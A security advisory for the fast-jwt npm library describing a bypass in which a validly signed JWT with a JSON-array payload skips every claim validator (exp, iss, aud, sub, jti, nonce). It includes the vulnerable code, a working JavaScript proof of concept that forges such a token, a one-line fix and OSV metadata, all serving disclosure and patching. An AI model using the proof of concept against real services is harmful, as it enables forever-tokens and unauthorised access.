GHSA-5HJW-83FP-PHQ9

Vulnerability from github – Published: 2026-10-08 22:01 – Updated: 2026-10-08 22:01
VLAI
Summary
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
Details

Summary

fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.

Details

The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:

```javascript // src/decoder.js:49 — header check (correct) if (!header || typeof header !== 'object' || Array.isArray(header)) { throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.') }

// src/decoder.js:65 — payload check (vulnerable) if (!payload || typeof payload !== 'object') { // typeof [] === 'object' throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.

In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only numeric indices and length):

// src/verifier.js:304-323 for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) { const value = payload[claim] ... if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc. continue // every validator silently skipped } ... }

Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error returned to the caller. The verifier returns the array as the payload.

requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is opt-in and not commonly configured.

GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates inside the validator loop body and is never reached for this variant.


### PoC

  ```javascript
const { createVerifier } = require('fast-jwt')
  const crypto = require('crypto')

  const key = 'shared-secret'
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
  const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
  const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
  const token = `${header}.${payload}.${sig}`

  const verify = createVerifier({
    key,
    allowedIss: ['legit-issuer'],
    allowedAud: ['legit-audience'],
    allowedSub: ['legit-subject']
    // exp enforcement is on by default
  })

  console.log(verify(token))
  // Output: [ 'attacker', 'role:admin' ]
  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.

  // Control: an object payload with the same garbage claims is correctly rejected:
  const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
  const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
  verify(`${header}.${bad}.${sig2}`)
  // Throws: "The token has expired at 1970-01-01T00:00:01.000Z."

  Verified against fast-jwt v6.2.4 (current master, commit a510448).

Suggested patch (src/decoder.js:65):

  • if (!payload || typeof payload !== 'object') {
  • if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }

This mirrors the existing header guard at line 49.

Impact

Type: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.

Who is impacted: Any application using fast-jwt's createVerifier with claim-validation options and where an attacker can produce or influence a validly-signed token. The realistic deployments are:

  • Shared-HMAC microservice meshes — any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled.
  • Multi-tenant token issuers and SSO backends — a tenant or upstream caller able to influence payload shape can obtain forever-tokens accepted platform-wide.
  • Delegated signing / weak issuer-side input validation — any issuer that serializes attacker-controlled JSON into the payload without enforcing object shape.

Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups, revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated requests appear unattributable in logs).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:01:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n `fast-jwt`\u0027s `createVerifier` silently skips **all** configured claim validators (`exp`, `nbf`, `iss`, `aud`, `sub`, `jti`, `nonce`) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library\u0027s documented `allowedIss` / `allowedAud` / `allowedSub` / expiry / replay-protection guarantees and violates RFC 7519 \u00a77.2 step 10, which requires the JWT Claims Set to be a JSON object.\n\n### Details\nThe decoder validates the **header** is a non-array object but the **payload** check is missing the `Array.isArray` guard:\n\n  ```javascript\n  // src/decoder.js:49 \u2014 header check (correct)\n  if (!header || typeof header !== \u0027object\u0027 || Array.isArray(header)) {\n    throw new TokenError(TokenError.codes.malformed, \u0027The token header is not a valid JSON object.\u0027)\n  }\n\n  // src/decoder.js:65 \u2014 payload check (vulnerable)\n  if (!payload || typeof payload !== \u0027object\u0027) {     // typeof [] === \u0027object\u0027\n    throw new TokenError(TokenError.codes.invalidPayload, \u0027The payload must be an object\u0027, { payload })\n  }\n\n  Because typeof [] === \u0027object\u0027 in JavaScript, an array payload passes the decoder.\n\n  In the verifier\u0027s validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only\n  numeric indices and length):\n\n  // src/verifier.js:304-323\n  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {\n    const value = payload[claim]\n    ...\n    if (!(claim in payload)) {     // \u0027exp\u0027 in [] === false, \u0027iss\u0027 in [] === false, etc.\n      continue                      // every validator silently skipped\n    }\n    ...\n  }\n\n  Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error\n  returned to the caller. The verifier returns the array as the payload.\n\n  requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass \u2014 but it is\n  opt-in and not commonly configured.\n\n  GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates\n  inside the validator loop body and is never reached for this variant.\n```\n\n### PoC\n\n  ```javascript\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n  const crypto = require(\u0027crypto\u0027)\n\n  const key = \u0027shared-secret\u0027\n  const header = Buffer.from(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027 })).toString(\u0027base64url\u0027)\n  const payload = Buffer.from(JSON.stringify([\u0027attacker\u0027, \u0027role:admin\u0027])).toString(\u0027base64url\u0027)\n  const sig = crypto.createHmac(\u0027sha256\u0027, key).update(`${header}.${payload}`).digest(\u0027base64url\u0027)\n  const token = `${header}.${payload}.${sig}`\n\n  const verify = createVerifier({\n    key,\n    allowedIss: [\u0027legit-issuer\u0027],\n    allowedAud: [\u0027legit-audience\u0027],\n    allowedSub: [\u0027legit-subject\u0027]\n    // exp enforcement is on by default\n  })\n\n  console.log(verify(token))\n  // Output: [ \u0027attacker\u0027, \u0027role:admin\u0027 ]\n  // No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.\n\n  // Control: an object payload with the same garbage claims is correctly rejected:\n  const bad = Buffer.from(JSON.stringify({ iss: \u0027attacker\u0027, exp: 1 })).toString(\u0027base64url\u0027)\n  const sig2 = crypto.createHmac(\u0027sha256\u0027, key).update(`${header}.${bad}`).digest(\u0027base64url\u0027)\n  verify(`${header}.${bad}.${sig2}`)\n  // Throws: \"The token has expired at 1970-01-01T00:00:01.000Z.\"\n\n  Verified against fast-jwt v6.2.4 (current master, commit a510448).\n\n```\n\n  Suggested patch (src/decoder.js:65):\n\n  - if (!payload || typeof payload !== \u0027object\u0027) {\n  + if (!payload || typeof payload !== \u0027object\u0027 || Array.isArray(payload)) {\n      throw new TokenError(TokenError.codes.invalidPayload, \u0027The payload must be an object\u0027, { payload })\n    }\n\n  This mirrors the existing header guard at line 49.\n\n### Impact\nType: Silent authorization-validator bypass. When a validly-signed JWT carries a JSON array as its payload, createVerifier skips every configured claim validator (exp, nbf, iss/allowedIss, aud/allowedAud, sub/allowedSub, jti, nonce) and returns success. Only the signature is actually checked; the verifier gives no error or warning that the configured defenses did not run.\n\nWho is impacted: Any application using fast-jwt\u0027s createVerifier with claim-validation options and where an attacker can produce or\n   influence a validly-signed token. The realistic deployments are:\n\n  - Shared-HMAC microservice meshes \u2014 any party holding the secret can mint a token accepted by every other verifier with audience, issuer, and expiry enforcement disabled.\n  - Multi-tenant token issuers and SSO backends \u2014 a tenant or upstream caller able to influence payload shape can obtain\n  forever-tokens accepted platform-wide.\n  - Delegated signing / weak issuer-side input validation \u2014 any issuer that serializes attacker-controlled JSON into the payload\n  without enforcing object shape.\n\n  Consequences: forever-tokens (expiry bypass), cross-service replay (audience bypass), issuer spoofing in federated/OIDC setups,\n  revocation-list bypass via missing jti, OIDC nonce replay, and audit-trail corruption (payload.sub is undefined so authenticated\n  requests appear unattributable in logs).",
  "id": "GHSA-5hjw-83fp-phq9",
  "modified": "2026-10-08T22:01:58Z",
  "published": "2026-10-08T22:01:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/pull/639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/releases/tag/v6.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…